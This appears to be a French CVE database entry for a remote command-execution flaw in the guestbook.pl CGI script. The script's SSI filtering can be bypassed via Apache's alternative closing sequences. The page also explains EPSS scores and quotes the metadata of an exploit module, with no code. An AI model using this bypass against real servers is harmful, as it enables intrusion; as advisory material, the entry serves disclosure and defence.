Descriptions du CVE
guestbook.pl cleanses user-inserted SSI commands by removing text between "" separators, which allows remote attackers to execute arbitrary commands when guestbook.pl is run on Apache 1.3.9 and possibly other versions, since Apache allows other closing sequences besides "-->".

EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

'Name' => 'Matt Wright guestbook.pl Arbitrary Command Execution',
'Description' => %q{
The Matt Wright guestbook.pl <= v2.3.1 CGI script contains
a flaw that may allow arbitrary command execution. The vulnerability
requires that HTML posting is enabled in the guestbook.pl script, and
that the web server must have the Server-Side Include (SSI) script
handler enabled for the '.html' file type. By combining the script
weakness with non-default server configuration, it is possible to exploit
this vulnerability successfully.
